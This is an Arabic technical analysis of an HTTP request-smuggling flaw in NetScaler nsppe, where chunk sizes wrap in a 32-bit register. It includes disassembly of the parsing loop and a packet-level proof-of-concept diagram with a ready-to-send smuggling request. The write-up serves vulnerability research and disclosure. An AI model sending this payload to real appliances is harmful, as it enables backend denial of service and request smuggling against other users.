
تحليل تقني لثغرة تهريب طلبات HTTP/1.1 عبر التفاف عددي في حجم القطعة (chunk-size) في NetScaler nsppe، مع تفكيك (disassembly)، وتدفقات إثبات مفهوم (PoC) على مستوى الحزم الشبكية، ومقارنة فروق تصحيح البرنامج الثابت (firmware patch diff).
يقرأ محلل جسم القطع (chunked-body) في nsppe HTTP/1.1 حقل حجم القطعة في سجل 32-بت ولا يتحقق أبدًا من الفائض. تسعة أرقام ست عشرية أو أكثر وتلتف القيمة بصمت: 100000005 (2^32 + 5) يُستهلك كحجم قطعة قدره 5.
هذا خطأ محلل طريف حتى تتذكر ما يفعله NetScaler بالجسم: فهو يمرر تأطير القطع الخاص بالعميل إلى الخادم الخلفي تمامًا كما استُقبل، لكنه يقرر أين ينتهي الطلب باستخدام قيمته الملتفة الخاصة. لذا يعتقد الوكيل أن الطلب رقم 1 قد اكتمل بعد خمسة بايتات من الجسم، بينما يحسب خادم خلفي صحيح يقرأ نفس البايتات 4,294,967,301 ويستقر في انتظار جسم بحجم 4 غيغابايت لن يصل أبدًا. جهازان، تدفق بايتات واحد، رأيان مختلفان حول أين ينتهي الطلب.
كل ما يأتي بعد نسخة NetScaler من "النهاية" يُعاد تصنيفه كطلب مُتدفق (pipelined) جديد على نفس اتصال العميل، ثم يُمرر بشكل مستقل على الاتصال المشترك بين الوكيل والخادم الخلفي.
ما ينتهي إليه الأمر يعتمد على محلل الخادم الخلفي نفسه:
طلب واحد غير مُصادَق. التكوين الافتراضي. لا شروط مسبقة تتجاوز الوصول إلى خادم HTTP vserver.
مهمة المحلل بسيطة: تحويل سطر حجم قطعة مثل 1a3f\r\n إلى رقم. يأخذ المخزن المؤقت في rdi مع طوله في esi، ويُجمِّع القيمة الست عشرية في الفتحة 32-بت عند *rdx (إدخال وإخراج، بحيث يُستأنف الحجم المقسوم عبر حزمتين بسلاسة)، ويتخطى المسافات البيضاء، ويشترط \r\n اللاحقة. يجيب بعدد البايتات المستهلكة، أو 0 لـ "بحاجة إلى مزيد من البيانات"، أو -1 لمدخل مشوّه.
الحلقة بأكملها، صغيرة بما يكفي لرؤية الخطأ بالعين المجردة:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d هو المُجمِّع، وهو بعرض 32 بت. كل رقم ينفّذ value <<= 4; value += digit. لا عدّاد أرقام، ولا حدّ أقصى للمقدار، ولا فحص للفيض، ولا jo في أي مكان داخل الحلقة. الرقم التاسع لا يُنتج خطأً؛ بل يُزيح أعلى العدد خارج نهاية السجل ولا يلاحظ أحد ذلك. 0x100000005 & 0xffffffff = 5، والمُحلِّل راضٍ تمامًا عن ذلك.
يوجد فحص سلامة واحد فقط في المصبّ، وهو خاطئ بطريقة شبه شاعرية. مُشغِّل فك التقسيم (sub_20af6b0، مواضع الاستدعاء 0x20af719 / 0x20af9fb، الحجم المخزَّن في [r12+0x344]) يطبّق اختبار إشارة على القيمة المُجمَّعة. تأمّل ذلك لحظة: الحالات الوحيدة التي تُكتشف هي تلك التي تقع في النصف السالب، [0x80000000, 0xffffffff]. أما الحجم الملتفّ الذي تخرج بتاته الـ32 المنخفضة دون 0x80000000 فيمرّ كحجم مقطع طبيعي تمامًا. 0x100000005 الملتفّ إلى 5 هو الحالة النموذجية: ملتفّ، غير ملحوظ، ومدمّر.
تتحول الحزمة إلى تهريب بسبب قرار تصميمي واحد في كيفية تعامل NetScaler مع الأجسام: فهو يمرّر تأطير المقاطع (chunked framing) الخاص بالعميل إلى الخادم الخلفي بايتًا ببايت، دون مساس، بينما يستخدم فهمه الخاص (الملتفّ) لذلك التأطير لتحديد أين ينتهي طلب العميل.
لذا يُنهي NetScaler الطلب رقم 1 بعد خمسة بايتات من الجسم ويضع الـ37 المتبقية في قائمة الانتظار كطلب ثانٍ مُتداخل (pipelined). أما الخادم الخلفي، وهو يُجري الحساب بشكل صحيح، فيقرأ 100000005 على أنها 4,294,967,301 ويظل ينتظر الجسم في الطلب رقم 1. من تلك اللحظة فصاعدًا، يقرأ كلا الصندوقين التدفق نفسه ويعيشان في عالمين مختلفين.
أي عالم ينتهي بك الأمر إليه يعتمد على الخادم الخلفي.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |